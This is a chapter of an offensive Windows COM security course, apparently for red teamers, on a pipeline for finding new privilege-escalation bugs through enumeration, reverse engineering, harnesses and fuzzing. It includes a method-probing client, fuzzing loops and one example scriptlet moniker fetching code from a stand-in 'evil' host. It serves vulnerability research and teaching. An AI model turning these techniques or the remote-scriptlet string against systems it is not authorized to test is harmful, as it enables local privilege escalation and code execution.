Files
An0nUD4Y-Offensive-COM/08-zero-day-research-capstone.md
2026-07-18 21:50:11 +05:30

77 KiB
Raw Permalink Blame History

08 · The Zero-Day Research Capstone

Audience / level: Advanced red team operators and vulnerability researchers; assumes chapters 0106. Prerequisites: COM activation internals, the impersonation contract, AppID security, OleViewDotNet basics, WinDbg attach/breakpoint fluency. Estimated reading time: 90120 minutes. After this chapter you will be able to run a repeatable, eight-stage pipeline — enumerate, triage, reverse, harness, fuzz, prove, weaponize, report — that turns the COM attack surface covered by this course into new, original bugs.

Contents


1. The research mindset

COM remains under-explored for structural reasons, not because it is hidden. It is the substrate under OLE, ActiveX, WMI, the shell, Office automation, WinRT, and UAC; practically every Windows process loads combase.dll/ole32.dll; thousands of classes are registered by default; and activation is driven entirely by the registry, which makes the surface enormous, largely un-audited per class, and almost invisible to file-less-malware defenses. Chapter 01 mapped thirteen fundamental primitives rooted in that design; every technique in chapters 0206 is an instance of one of them:

# Primitive (chapter 01) Attack family it feeds
1 HKCU shadowing of CLSID\{X}\InprocServer32/LocalServer32 Persistence / UAC bypass
2 TreatAs/AutoTreatAs redirect Persistence
3 Phantom InprocServer32/LocalServer32 paths Persistence
4 Interface\{IID}\ProxyStubClsid32 shadow (DLL into both endpoints) LPE / Persistence
5 TypeLib\{LIBID}\...\win32 path shadow + LoadTypeLib moniker quirk Persistence / Execution
6 ProgID/CurVer squatting Persistence
7 Moniker string injection (script:, new:, session:, Elevation:) Execution
8 ROT squatting/snooping LPE / Execution
9 Cross-session activation (RunAs=Interactive User) LPE
10 DCOM remote activation of LM-friendly classes Lateral movement
11 Custom-marshal blob abuse (OBJREF_CUSTOM forgery) Execution / Relay
12 Surrogate abuse (DllSurrogate) Persistence / Execution
13 Reg-free COM manifest hijack Persistence / Execution

Key idea: Thirteen primitives, six chapters of techniques, and no reason to believe the list is closed. The primitives are design properties (merged-view precedence, marshal-by-reference, AppID ACLs, the impersonation contract); design properties do not get patched — individual weaponizations do.

1.1 The two root patterns behind almost every find

Nearly every bug in this course reduces to one of two root causes:

  1. "A service exposes a dangerous method to everyone." DiagHub's SYSTEM service let any user drive AddAgent(dllPath, guid) into LoadLibraryExW ([3]). UPnP Device Host exposed the undocumented IUPnPContainerManager (IID 6D8FF8D4-730D-11D4-BF42-00B0D0118B56) methods ReferenceContainer, CreateInstance, CreateInstanceWithProgID to any local user as LOCAL SERVICE — CVE-2019-1405, fixed by adding Administrators-only checks to the dangerous methods ([7]). StorSvc's SvcMoveFileInheritSecurity impersonated, moved the file, then reverted and called SetNamedSecurityInfo as SYSTEM — the late-impersonation pattern ([3]). USO loaded a non-existent windowscoredeviceinfo.dll from System32 on every session creation ([5]).
  2. "The registry is trusted more than it should be." The HKCR merged view lets per-user keys silently override system keys ([47]); ProxyStubClsid32 shadows inject a DLL into every process that marshals that interface, including SYSTEM servers; TreatAs redirects activation without touching the target's InprocServer32 ([28], [29]); and LoadTypeLib parses a non-TLB path string as a moniker display name, so "script:http://evil/x.sct" reaches the script moniker from a "data" API ([23]).

A third, smaller family is marshaling trust: forged OBJREF/IStorage bindings (CVE-2015-2370 and the whole potato lineage it birthed ([8], [17])) and objects marshaled by reference that were never meant to leave their process (trapped objects ([4])).

1.2 Microsoft's mitigation style — and what it teaches

Microsoft rarely fixes a whole bug class; it kills the weaponization primitive that made the class exploitable:

Mitigation Year Primitive killed Bug class left behind
1809 silent rpcss fix (CreateRemoteBindingToOR, OXID on port 135 only, remote OXID queries as ANONYMOUS LOGON, captured tokens downgraded to Identification, CLSIDs gated to INTERACTIVE) 2018 Rotten/JuicyPotato reflection ([9]) Service-account token capture — re-solved by RoguePotato and JuicyPotatoNG ([12], [13]; conceptual root in Forshaw's DCOM-relay work ([18]))
DiagHub ProcessImageLoadPolicy (Microsoft-signed loads only) 19H1/1903 "Load arbitrary extension from System32" via AddAgent ([3]) Arbitrary file-write bugs — re-bridged by USO ([5])
oleaut32 VerifyTrust (cached signing level ≥ 12 for TLBs in protected processes) 2019-era Type-library substitution inside protected processes ([4]) Trapped-object instantiation — re-bridged via .NET/StdFont ([4])
CI.DLL CipMitigatePPLBypassThroughInterpreters (blocks scrobj.dll, jscript.dll, etc. in protected processes) 1803 Scriptlet-based PPL injection ([24]) PPL type-confusion — re-bridged by KnownDlls aliasing, IRundown::DoCallback ([24], [25])
KB5004442 / CVE-2021-26414 (PKT_INTEGRITY floor for activation) 20212023 Relay to DCOM activation ([10]) Authenticated admin DCOM LM; relay from DCOM ([26], [27])

Three lessons fall out of that table:

  • Chase primitives, not bugs. When a loader policy or binding builder dies, the underlying file-write/auth-capture bugs usually survive; the researcher who finds the next bridge (USO after DiagHub, RoguePotato after JuicyPotato) owns the next CVE family.
  • Diff the silent fixes. The 1809 OXID change was never a CVE; it was found by researchers diffing rpcss.dll ([9]). rpcss.dll, combase.dll, ole32.dll, oleaut32.dll are the four binaries to BinDiff every Patch Tuesday.
  • "Not a boundary" is a hunting license. Microsoft services UAC and PPL slowly or not at all (no CVEs/bounties for PPL-only issues ([24]; "we don't consider UAC a hard security boundary" — MSRC case 64957, per Kanthak ([43])). Bug density in these zones stays high precisely because fixes ship late.

Figure 1 — The eight-stage zero-day research pipeline How to read this figure: the pipeline you will run for the rest of this chapter, left to right — enumerate (OleViewDotNet, registry sweeps), triage (OOP + SYSTEM + ACLs + dangerous methods), static RE, dynamic harness, fuzzing, root-cause, weaponize, report — with the tools named at each stage. Sections 28 map one-to-one onto the stages.

Legal: Everything here is for authorized research: your own lab VMs, bug-bounty scope, or systems you are contracted to test. The enumeration and fuzzing stages are indistinguishable from attack behavior on a network you do not own.


2. Stage 1 — Enumeration: building the target list

The goal of Stage 1 is a complete candidate list: every COM class on the box that could plausibly execute attacker-influenced logic at a higher privilege, plus every registry path whose trust could be subverted. Completeness matters more than precision — Stage 3 discards.

Beginner note: An out-of-process (OOP) server is a COM class whose code runs in its own process — a LocalServer32 EXE, a service-hosted class, or a DLL hosted by the dllhost.exe /Processid:{AppID} surrogate. OOP matters because the server process often runs as SYSTEM, so "who may activate it and what methods does it expose" becomes a privilege question. In-process (InprocServer32) classes matter when the host is privileged (auto-elevated binaries, PPL services, other users' processes).

2.1 OleViewDotNet — deep usage

OleViewDotNet (Forshaw) is the recon workhorse ([1]). Two front-ends, same data:

GUI views that build target lists:

  • Registry → Local Services — COM objects hosted in Windows services, with filtering. This is the LPE shortlist.
  • Registry → CLSIDs by Server — group by server binary to see which DLL/EXE carries the most classes.
  • Object node → View Launch Permissions / View Access Permissions — the AppID SDDLs decoded; a class readable by Authenticated Users/INTERACTIVE shows up immediately.
  • AppID properties expose RunAs, service name, and ServiceProtectionLevel (PPL); the class list can be filtered to "Run as: Interactive User" — the exact filter that surfaces cross-session candidates such as the PhoneExperienceHost class {7540C300-BE9B-4C0D-A335-F002F9AB73B7} behind bohops' CVE-2023-33127 chain ([11]).

PowerShell module (Install-Module OleViewDotNetPowerShell 5 only, not 7+):

Get-ComClass -Service                              # all service-hosted classes (the LPE shortlist)
Get-ComClass -Clsid 42CBFAA7-A4A7-47BB-B422-BD10E9D02700
$cls.Servers                                       # InProc vs Local server registrations
$cls.AppIDEntry                                    # RunAs identity, service name
$cls.AppIDEntry.ServiceProtectionLevel             # PPL check, e.g. WindowsLight
Get-ComInterface -Class $cls                       # interfaces the class advertises
New-ComObject -Clsid 72566E27-1ABB-4EB3-B4F0-EB431CB1CB32
Import-ComTypeLib -Object $obj                     # pull the object's type library
Get-ComObjRef $obj                                 # proves OOP: shows hosting PID/process name

Worked example — the exact enumeration behind the trapped-objects research ([4]): Get-ComClass -Service → enumerate interfaces → filter IsDispatchfive candidates on a default box: WaaSRemediation {72566E27-1ABB-4EB3-B4F0-EB431CB1CB32}, SearchGatheringManager {9E175B68-F52A-11D8-B9A5-505054503030}, SearchGathererNotification {9E175B6D-F52A-11D8-B9A5-505054503030}, AutomaticUpdates {BFE18E9C-6D87-4450-B37C-E02F0B373803}, and Microsoft.SyncShare.SyncShareFactoryClass {DA1C0281-456B-4F14-A46D-8ED2E21A866F}. One IsDispatch filter turned "thousands of classes" into a weekend-sized list — that is what good enumeration looks like. OleViewDotNet can also invoke arbitrary methods, view the ROT, parse .winmd metadata, and spawn elevated instances (CreateElevated).

2.2 Raw-registry sweeps

OleViewDotNet reads the registry; sometimes you want the registry itself:

# Full CLSID/AppID walk (machine + merged view)
Get-ChildItem Registry::HKEY_CLASSES_ROOT\CLSID
reg query HKCR\CLSID /s
# DCOM-reachable applications and their AppIDs
Get-CimInstance Win32_DCOMApplication
# Orphan sweep (bohops): registered servers whose binary is missing ([28])
$inproc = Get-WmiObject Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }
foreach ($p in ($inproc | %{$_.InprocServer32})) { $p; cmd /c dir $p > $null }   # "File Not Found" = orphan
# Scheduled tasks with COM handler actions = timed triggers ([34])
foreach ($Task in Get-ScheduledTask) {
  if ($Task.Actions.ClassId -ne $null -and $Task.Triggers.Enabled -eq $true -and $Task.Principal.GroupId -eq "Users") {
    Write-Host "$($Task.TaskName) :: $($Task.Actions.ClassId)"
  }
}
  • Dangling references: ProcMon during logon/app launches with Operation is RegOpenKey + Result is NAME NOT FOUND + Path ends with InprocServer32 — every hit is a CLSID a live process tries to activate that you can register in HKCU ([30]). The ClickOnce phantom-object technique (pre-registering a CLSID that dfsvc.exe registers later) is this idea weaponized ([31]).
  • Phantom hunting generally: ProcMon Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32, Result = NAME NOT FOUND.
  • Per-user shadow audit: diff HKCU\Software\Classes\CLSID and ...\TypeLib against HKLM; anything present in both with different server paths is an existing hijack or a plant.

2.3 The WinRT surface

WinRT is COM vNext — same IUnknown base, IInspectable instead of IDispatch, .winmd metadata instead of TLBs — but its classes register per-package under HKLM\SOFTWARE\Microsoft\WindowsRuntime (with ActivatableClassId server mappings), not HKCR\CLSID. Classic CLSID tooling does not see them; OleViewDotNet parses both worlds. Brokers are just OOP COM servers with sandbox-facing activation permissions — CVE-2019-0555 (XML DOM exposed through WinRT → XSLT sandbox escape) is the canonical find ([4]). Enumerate this hive separately or your target list has a hole.

2.4 Automation: the incendium.rocks methodology

Manual browsing does not scale. The incendium.rocks methodology ([2]) automates the loop end-to-end: walk the registry/CLSID set → use OleViewDotNet to dump each class's interfaces and methods to JSON → build dynamic IDispatch stubs at runtime and automatically Invoke every method with generated arguments → logHRESULTs, crashes, and side effects. OleViewDotNet builds dynamic IDispatch stubs at runtime to call arbitrary vtables — the same primitive every COM fuzzer uses (§6).

2.5 Standing on corpora

Do not re-derive what is published: the JuicyPotato per-OS abusable-CLSID lists (ohpe.it/juicy-potato/CLSID/) encode the potato criteria (instantiable by the user, implements IMarshal, elevated server identity) per Windows build ([16]); the strontic xcyclopedia CLSID library catalogs classes and their capabilities; the juicy-potato repo README tables map CLSIDs to working OS versions. NCC's acCOMplice ships masterkeys.csv of known hijackable shell classes (§10). These are starting sets — your job is to extend them, not worship them.


3. Stage 2 — Triage: ranking candidates

A default Windows box yields thousands of classes; you can reverse perhaps a dozen well. Triage is a scoring pass that answers one question: if I drive this object, does privileged code do something I control? Every heuristic below is drawn from the case studies in this course — each is a property that a published bug actually had.

3.1 The master checklist

A candidate is promising if it checks these boxes, in descending order of importance:

  1. OOP server. Registered with LocalServer32, hosted in a service via its AppID, or running in a dllhost surrogate. In-proc classes count only when the host is privileged (auto-elevated binary, PPL service, another user's process).
  2. Privileged identity. Server runs as NT AUTHORITY\SYSTEM (direct win), LOCAL SERVICE/NETWORK SERVICE (hop — these hold SeImpersonatePrivilege, the potato entry point), or another user / RunAs=Interactive User (cross-session).
  3. Reachable ACLs. LaunchPermission + AccessPermission (or machine defaults under HKLM\SOFTWARE\Microsoft\Ole) include your principal: Authenticated Users (S-1-5-11), INTERACTIVE (S-1-5-4), or AppContainer/LPAC capability SIDs for sandbox escapes. DiagHub's launch SDDL literally contained (A;;CCDCSW;;;AU) — Authenticated Users ([3]).
  4. Dangerous methods. Interface methods that touch: filesystem paths (CreateFile, MoveFile, delete/rename), the registry, process creation, LoadLibrary*/GetProcAddress, SetNamedSecurityInfo/ACL APIs, token APIs — or that accept interface pointers (callback-impersonation pattern: DCOMPotato's attacker-supplied IUnknown impersonates the SYSTEM caller inside its own QueryInterface) or return objects (trapped-object pattern: the returned reference stays live in the server ([4])).
  5. Marshaling trust. Class implements IMarshal (potato criterion ([16])), is marshaled TypeLib-driven via PSOAInterface {00020424-0000-0000-C000-000000000046} (type-library substitution applies), or its Interface\{IID}\ProxyStubClsid32 can be shadowed per-user (a DLL into both endpoints).
  6. Bonus multipliers. IDispatch/dual present (type-info vector — ITypeInfo::CreateInstance instantiates server-side ([4])); .NET COM interop (loads the CLR into the server); RunAs=Interactive User (cross-session); Elevation\Enabled=1 (UAC elevation-moniker surface ([37])); server binary unsigned or third-party (patch-cycle lag).

3.2 Scored triage table (illustrative scoring)

The weights below are a starting heuristic, not ground truth — calibrate them against your own hit rate.

Signal Where you read it Points (illustrative)
OOP server (LocalServer32 / service AppID / surrogate) OleViewDotNet .Servers, AppID entry +3
Runs as SYSTEM AppID LocalService, service config +3
LOCAL/NETWORK SERVICE identity (potato hop) AppID / service config +2
Launch+Access ACLs include AU / INTERACTIVE / LPAC OVDN View Permissions +3
Method takes a path/URL/command string Proxy definition / typelib +2
Method wraps LoadLibrary*, process creation, or SetNamedSecurityInfo Static RE (§4) +3
Method accepts an interface-pointer argument Proxy definition +2
Method returns an object reference Proxy definition +2
IDispatch/dual interface Get-ComInterface, IsDispatch +2
Implements IMarshal Interface list +1
TypeLib-driven marshaling (PSOAInterface proxy) HKCR\Interface\{IID}\ProxyStubClsid32 +1
.NET interop (mscoree.dll InprocServer32) Registry +1
RunAs = Interactive User AppID entry / OVDN filter +2
Server is PPL (.AppIDEntry.ServiceProtectionLevel) OleViewDotNet +1 (PPL-class impact)

Key idea: Read the table historically: DiagHub scores on rows 1, 2, 3, 4, 5; UPnP CVE-2019-1405 on 1, 2, 3, 4; the StdFont trapped-object chain needed only rows 4 (returns object), 5, and 6 (IDispatch). No published bug needed every row — three or four of the heavy ones suffice. Kill anything scoring 0 on rows 13 unless you are specifically hunting hijacks.

For persistence-style targets (chapter 05) the analogous score is: trigger frequency x host desirability x breakage risk — count RegOpenKey hits per CLSID per process per hour from a ProcMon boot trace (or hijack several candidates with a logging DLL, acCOMplice Hijack-MultipleKeys-style), prefer explorer/browsers/taskhostw over niche hosts, and prefer orphaned/abandoned/undefined classes that a Windows update will not re-register ([31]).


4. Stage 3 — Static reverse engineering

Static RE answers two questions per candidate: what are the exact method signatures (so you can call them) and where does the server mishandle trust (so you know what to call). The canonical recipe is the one Forshaw used against DiagHub ([3]), generalized below, with itm4n's USO service work ([5], [6]) as the second reference implementation.

4.1 The DiagHub recipe, generalized

  1. Instantiate and inspect. In OleViewDotNet, create an instance of the class → right-click → Marshal ⇒ View Properties. Capture the PID of the hosting process, the IPID (per-interface-pointer GUID), the OXID (object exporter), the string bindings, and the authentication services. This proves the object is OOP and names its host.

  2. Get the server-side vtable address. OleViewDotNet's process view (needs admin plus configured symbols: dbghelp from the WinDbg install and srv*https://msdl.microsoft.com/download/symbols) → find your IPID entry → it shows the interface pointer and the server-side VTable address, e.g. DiagnosticsHub_StandardCollector_Runtime+0x36C78 for DiagHub.

  3. Symbolize the vtable. Attach WinDbg to the server process and dump the vtable with dqs <module>+<offset> L<nMethods> — Microsoft public symbols resolve the slots to real names. DiagHub's IStandardCollectorService (IID 0D8AF6B7-EFD5-4F6D-A834-314740AB8CAA) yielded CreateSession, GetSession, DestroySession, DestroySessionAsync, AddLifetimeMonitorProcessIdForSession exactly this way ([3]):

    0:019> dqs DiagnosticsHub_StandardCollector_Runtime+0x36C78 L8
    
  4. Recover signatures from the wire format. OleViewDotNet's View Proxy Definition decompiles the NDR "stubless" bytecode of the proxy into method signatures; the Structures tab gives marshaled struct layouts. Rebuild the interface in C++/C# from these. For DiagHub this produced the SessionConfiguration struct and CreateSession/AddAgent prototypes the exploit needed.

  5. Reconcile with disassembly. In IDA/Ghidra: xref command/operation strings (itm4n found "StartScan" in usosvc.dll and walked the xrefs into PerformOperationOnSession()/PerformOperationOnManager() ([6])); where CFG is present, map _guard_dispatch_icall_fptr indirect calls to vtable slots with dynamic breakpoints; match client-side proxy slots (ObjectStublessClientN) to server-side symbols so client slot N = server function you are reading.

  6. Hunt the failure modes (this is the actual bug list; every one is a published bug class):

    Failure mode in server code Historical instance
    Missing CoImpersonateClient/RpcImpersonateClient around a privileged op Classic privileged-file-operation class
    Impersonate → check → RevertToSelfthen write StorSvc SvcMoveFileInheritSecurity ([3])
    Accepting an identify-level token where impersonation is required Potato CLSID hardening regression space ([9])
    Device-map / symlink / hard-link handling while impersonating CVE-2019-0841 AppXSvc, StorSvc hard links ([3])
    Path validation that constrains directory but not extension/content DiagHub GetValidAgentPath ([3])
    RunAs mismatch / missing client-identity verification CVE-2017-0100 HelpPane ([46])
    Type-library trust (stub generated from attacker-controlled TLB) NGEN type confusion, trapped objects ([24], [4])
    Unmarshal-by-reference of objects never meant to leave the server CVE-2019-0555, CVE-2017-0211 ([4])

4.2 The USO variant — when the tool fails, pivot

itm4n's USO write-up is the honest version of this workflow ([5], [6]): symchk pulled PDBs first (symbols are leverage, always try); string xref on "StartScan" located the trigger path; OleViewDotNet then failed to expand the object (ClassFactory cannot supply requested class) — and the research continued anyway, client-side: breakpoint on _guard_dispatch_icall_fptr after CoCreateInstance, dqs on the client proxy vtable (usoapi!IUpdateSessionOrchestratorProxyVtbl), then match ObjectStublessClientN slots against server symbols in usosvc.dll. The result was the full map of IUpdateSessionOrchestrator ({07F3AFAC-7C8A-4CE7-A5E0-3D24EE8A77E0}: CreateUpdateSession, GetCurrentActiveUpdateSessions, LogTaskRunning, CreateUxUpdateManager, CreateUniversalOrchestrator) and the 68-method IUsoSessionCommon ({FCCC288D-B47E-41FA-970C-935EC952F4A4}), with VTable[21] identified as the StartScan trigger.

Key idea: OleViewDotNet failing on a class is information, not a dead end. ClassFactory cannot supply requested class means the activation path itself is unusual (locked-down factory, wrong CLSCTX, interface-only marshaling) — switch to client-side dynamic analysis of the proxy and read the server from the disassembler.

Warning: WinDbg-attaching to a SYSTEM service freezes its threads while broken in; RPCSS garbage-collects OXIDs on missed pings, and some services watchdog-restart. Snapshot the VM first, and prefer non-invasive attach (-pv) when you only need dqs.


5. Stage 4 — Dynamic analysis harness

Static reading tells you what the server can do; the harness tells you what it actually does when you call it, under which token, touching which paths. The harness is deliberately minimal: a C++ client you control argument-by-argument, plus observation tooling on the server process.

5.1 The minimal client skeleton

The shape comes directly from the published DiagHub/USO clients ([3], [6]): initialize, activate OOP, offer impersonation, then call methods with controlled inputs. The CoSetProxyBlanket(... RPC_C_IMP_LEVEL_IMPERSONATE ...) call is not ceremony — itm4n's StartScan flow required it, because a server can only impersonate a client that lets it (the impersonation contract of chapter 03).

// Minimal COM method-probing client (after itm4n's USO "StartScan" flow ([6]))
CoInitializeEx(0, COINIT_MULTITHREADED);
CoCreateInstance(CLSID_TargetClass, nullptr, CLSCTX_LOCAL_SERVER,
                 IID_PPV_ARGS(&service));
service->LogTaskRunning(L"Probe");                       // any bookkeeping call
service->CreateSession(1, &IID_ISessionItf, &session);   // obtain the interesting interface
CoSetProxyBlanket(session, RPC_C_AUTHN_DEFAULT, RPC_C_AUTHZ_DEFAULT,
                  COLE_DEFAULT_PRINCIPAL, RPC_C_AUTHN_LEVEL_DEFAULT,
                  RPC_C_IMP_LEVEL_IMPERSONATE, nullptr, NULL);
session->TheMethod(0, 0, L"C:\\Users\\Public\\probe.txt");  // controlled inputs here
CoUninitialize();
// Generic one-method-per-argument sweep (illustrative)
// For each method M and each string argument A: call M with A set to a
// canary path; log HRESULT; check ProcMon for the canary appearing in the
// server's file/registry operations.
HRESULT hr = E_FAIL;
for (auto& m : methods) {
    for (auto& arg : m.stringArgs) {
        hr = m.invoke(canaryPath(arg));
        log(m.name, arg.index, hr);       // non-E_INVALIDARG HRESULTs = arg parsed
    }
}

Beginner note: CoSetProxyBlanket sets per-proxy security (it wraps IClientSecurity::SetBlanket): which authentication level and impersonation level the server gets on calls through that one proxy. RPC_C_IMP_LEVEL_IDENTIFY (2) lets the server only identify you — its token cannot access objects; RPC_C_IMP_LEVEL_IMPERSONATE (3) lets it act as you locally. If a bug needs the server to touch your files as you, offer 3.

5.2 Observation stack

Tool Configuration What it proves
ProcMon Filter: server PID (from §4 step 1); watch file/registry/LoadImage operations Which paths the server touches as its own identity; canary strings reaching CreateFile
API Monitor Hook the server binary Parameter-level view of CreateFileW/LoadLibraryExW/registry calls
WinDbg breakpoints CoImpersonateClient, RpcImpersonateClient, CoRevertToSelf, CreateFileW, RegCreateKeyExW, LoadLibraryExW, SetNamedSecurityInfo Whether the server impersonates at all, and whether the sensitive call happens before or after revert (the late-impersonation bug pattern)
TokenViewer (Forshaw) Inspect the token the server captured Impersonation vs Identification token — the #1 cause of "exploit didn't work" confusion (early RoguePotato experiments captured "useless" Identification tokens ([12]))
ETW Microsoft-Windows-RPC ({6AD52B32-D609-4BE9-AE07-CE8DAE937E39}, Debug — EID 5/6 give InterfaceUuid/OpNum/Protocol/Endpoint), Microsoft-Windows-RPC-Events ({F4AED7C7-A898-4627-B053-44A7CAA12FCD}), Microsoft-Windows-RPCSS ({D8975F88-7DDB-4ED0-91BF-3ADF48C48E0C}), Microsoft-Windows-COMRuntime ({BF406804-6AFA-46E7-8A48-6C357E1D6D61}, verbose) Activation and call tracing without a debugger; which interface/opnum your client actually reached

Enable the COMRuntime provider (plus the RPC providers) for activation tracing before each run; for cross-checking the wire, Wireshark's dcom/dcerpc dissectors find the MEOW signature of marshaled references. The full ProcMon filter set for hijack-style targets is the phantom set from §2.2 (Path contains InprocServer32/LocalServer32/TreatAs/ProxyStubClsid32, Result = NAME NOT FOUND).

5.3 What you are looking for

  • Token sequencing: breakpoint hits on CreateFileW/SetNamedSecurityInfo/LoadLibraryExW with no preceding CoImpersonateClient (missing impersonation), or after CoRevertToSelf (late impersonation — the StorSvc pattern ([3])).
  • Identity of file ops: ProcMon shows the op performed as SYSTEM against your canary path in a user-writable directory.
  • Reachability of dangerous paths: your string argument landing verbatim in a LoadLibraryExW path or a command line.
  • Reference leaks: the returned proxy's Get-ComObjRef showing an object living in the server that the design never intended to expose (trapped-object lead ([4])).

OpSec: A harness is noisy by design — rapid-fire activation, odd arguments, debugger processes. Run it in a snapshot-isolated VM. The same telemetry that helps you (ETW RPC EID 5/6, ProcMon canaries) is what a defender uses, so the harness doubles as a detection-engineering data source: record what every probe looks like in the logs for the report (§8).


6. Stage 5 — Fuzzing COM interfaces

Logical bugs (Stages 35) pay best, but COM interfaces are also a memory-corruption surface: every OOP call is attacker-controlled NDR bytes being unmarshaled in a privileged process — the exact layer OleViewDotNet decompiles in View Proxy Definition. WalletService's CVE-2020-1362 is the proof of concept for the whole category: Wallet::WalletCustomProperty::SetGroup OOB write over DCOM → SetLabel BSTR pointer write-what-where → fake vtable → virtual call redirected into dxgi code whose LoadLibraryExW uses a writable global path → SYSTEM ([42]).

Figure 2 — COM fuzzing harness anatomy How to read this figure: the harness loop — create a valid object, iterate interface/method pairs from the recovered signatures (§4), mutate typed arguments (BSTR paths, SAFEARRAY bounds, VARIANT types, IStream blobs, fake interface pointers), log every HRESULT, and let a crash monitor (page heap + AppVerifier + debugger + WER) catch faults, feeding interesting inputs back into the corpus.

6.1 Mutation strategies that match the marshaling layer

  1. Raw NDR buffer mutation. Interpose between proxy and channel and mutate the marshaled buffer before it reaches the server's NDR interpreter stubs (the stubless-engine layer). Watch for OOB reads/writes in server-side unmarshaling (the WalletService class) and for marshal-by-reference object leaks (§5.3). Because signatures come from §4, you know which bytes are length fields, pointers, and conformant-array bounds.

  2. Typed argument mutation. Higher yield per call, because the arguments are semantically typed:

    Argument type Mutations (illustrative test list) Historical rationale
    BSTR path/URL strings Overlong strings, embedded NULs, \??\ and device paths, junction/symlink targets, non-existent extensions on valid directories DiagHub extension-agnostic load ([3]); USO non-existent DLL ([5]); mock-directory normalization desync
    SAFEARRAY Bounds/count fields desynced from payload size; multidimensional edge cases Conformant-array handling in the NDR engine
    VARIANT Type-tag vs payload confusion (tag says VT_BSTR, payload is a pointer-sized integer); nested arrays; VT_UNKNOWN/VT_DISPATCH carrying unexpected pointers TLB/proxy type-confusion family ([24], [4])
    IStream/IStorage blobs Truncated streams, negative sizes, streams whose content is a second marshaled object CoGetInstanceFromIStorage OBJREF forgery lineage ([8])
    Interface pointers Fake/foreign interface pointers, pointers to objects of the wrong class, freed-then-reused pointers Callback-impersonation (DCOMPotato) and trapped-object classes ([4])
  3. Interface brute-calling (poor-man's fuzzer). The OleViewDotNet PowerShell loop — New-ComObject + reflection-driven method invocation with generated arguments — requires zero harness code and is exactly what the incendium.rocks automation formalized: registry → JSON of interfaces/methods → automated Invoke ([2]). OleViewDotNet builds the dynamic IDispatch stubs; you supply the argument generator and the logging.

6.2 What the field already built

  • COMRace (USENIX Security '22) — data-race detection in COM objects; races matter because MTA-hosted objects are called on arbitrary RPC thread-pool threads and must self-synchronize ([39]).
  • Black Hat EU 2024, "Enhancing Automatic Vulnerability Discovery for Windows RPC/COM in New Ways" — harness-generation research for RPC/COM fuzzing ([40]).
  • RPC-aware fuzzing driven from IDA-generated clients — the manual version of the same idea: reverse the interface (§4), generate the client, fuzz through it.

6.3 Crash triage setup

The monitor stack shown in Figure 2 is page heap + AppVerifier on the server process, a debugger (or time-travel trace) attached for first-chance exceptions, and WER as the collection backstop. The briefs underlying this course do not specify exact configuration flags, so treat the specific gflags/AppVerifier settings as (verify in lab) against your Windows build before relying on them. What the course case studies do establish: crashes inside ole32/combase unmarshaling or inside the server method itself are the signal; crashes in your own proxy are harness bugs — filter by faulting module before investing in root cause.

Warning: Fuzzing a SYSTEM service will, by design, crash it. Some services are marked critical — a fault can bugcheck the box or leave the service dead until reboot. Snapshot the VM, fuzz one interface at a time, and keep the corpus so every crash is replayable.


7. Stage 6 — From crash or lead to a proven primitive

A crash or an odd HRESULT is not a finding. A finding is a primitive: a repeatable statement like "any local user can cause an arbitrary file write as SYSTEM" with a PoC that proves it. The taxonomy below maps raw leads onto this course's bug classes, with the historical proof for each — use it to route your lead to the right proving strategy.

7.1 Outcome taxonomy, mapped to the course's bug classes

Lead (what you observed) Bug class Proven primitive Historical proof
Server touches attacker paths without (or after) impersonation Missing/late impersonation Arbitrary file write / ACL set as SYSTEM StorSvc SvcMoveFileInheritSecurity + hard links → SetNamedSecurityInfo applies attacker ACEs to any file SYSTEM can WRITE_DAC (P0 1427/1428) ([3])
Method loads libraries/executables from partially-controlled paths Dangerous method exposed to everyone Code execution as server identity DiagHub AddAgent ([3]); UPnP IUPnPContainerManager command exec as LOCAL SERVICE, CVE-2019-1405 ([7])
Returned proxy references an object still living in the server Trapped object Server-side CoCreateInstance of attacker-chosen classes IDispatch::GetTypeInfoITypeInfo::CreateInstance → StdFont planted inside the service; chained to .NET Assembly.Load in PPL ([4])
Stub built from attacker-influenced type library TypeLib/proxy confusion Type confusion in server stub; unsigned code in protected processes NGEN ICorSvcPooledWorker::CanReuseProcess integer-as-pointer → KnownDlls aliasing → PPL injection ([24])
Registry shadow/redirect loads attacker code Registry hijack Execution inside any process that activates the class, incl. elevated/PPL hosts Per-user CLSID/TreatAs/TypeLib hijacks (chapters 0405); StdFont TreatAsSystem.Object ([4])
Server calls into an attacker-implemented callback object Callback impersonation Server's token captured in-process DCOMPotato/PrintNotifyPotato: fake IUnknown callback, CoImpersonateClient() inside QueryInterface impersonates the SYSTEM caller
RunAs=Interactive User class reachable cross-session Cross-session activation / missing client verification Code in another user's/session's context CVE-2017-0100 HelpPane ([46]); CVE-2023-33127 PhoneExperienceHost chain ([11])
Memory-corruption crash in unmarshaling or method body NDR/argument corruption Controlled write → fake vtable → code exec CVE-2020-1362 WalletService BSTR write-what-where ([42])

7.2 How "proven" looks for each class

  • File write: demonstrate creation/content control of a file at a SYSTEM-writable-only path (the DiagHub chain used C:\Windows\System32\license.rtf, chosen as a non-TrustedInstaller-owned, non-critical System32 file — candidates enumerated with NtObjectManager's Get-AccessibleFile -AccessRights WriteDac against the StorSvc process token ([3])).
  • Server-side instantiation: Get-ComObjRef on the returned object must show the hosting PID is the service process — that single screenshot is the trapped-object proof ([4]); public third-party PoCs by Fakroud and IBM X-Force reproduce the chain end-to-end ([20], [21]).
  • Type confusion: show the server stub interpreting your controlled input as a pointer (crash with your value in a dereferenced register), then escalate to a controlled write.
  • Callback impersonation: inside your callback, OpenThreadToken and print the user — if it reads SYSTEM, the primitive is proven; TokenViewer removes all doubt (§5.2).
  • Memory corruption: faulting address controlled by an input field; then the CVE-2020-1362 template (OOB → write-what-where → fake vtable → loader hijack) ([42]).

7.3 Reliability work (where most PoCs actually live)

  • STA pumping. If your client or callback object lives in an STA, you must pump messages (GetMessage/DispatchMessage) or cross-apartment calls hang — and the reentrancy window during an outgoing call is where callback impersonation lands. Raymond Chen's write-up of COM failing to pump in a single-threaded apartment is the canonical failure narrative ([45]). Put exploit threads in the MTA unless you specifically need STA reentrancy.
  • Session / window-station issues. Spawning a process from a captured service token hits Session-0 window-station permission problems; RoguePotato's final CreateProcessAsUser step required a Session-0 window-station permission fix ([12]), and its SYSTEM token was kidnapped from the rpcss logon session that NETWORK SERVICE shares with SYSTEM-token-holding threads ([19]). Cross-session activations likewise depend on which session is currently interactive ([11]).
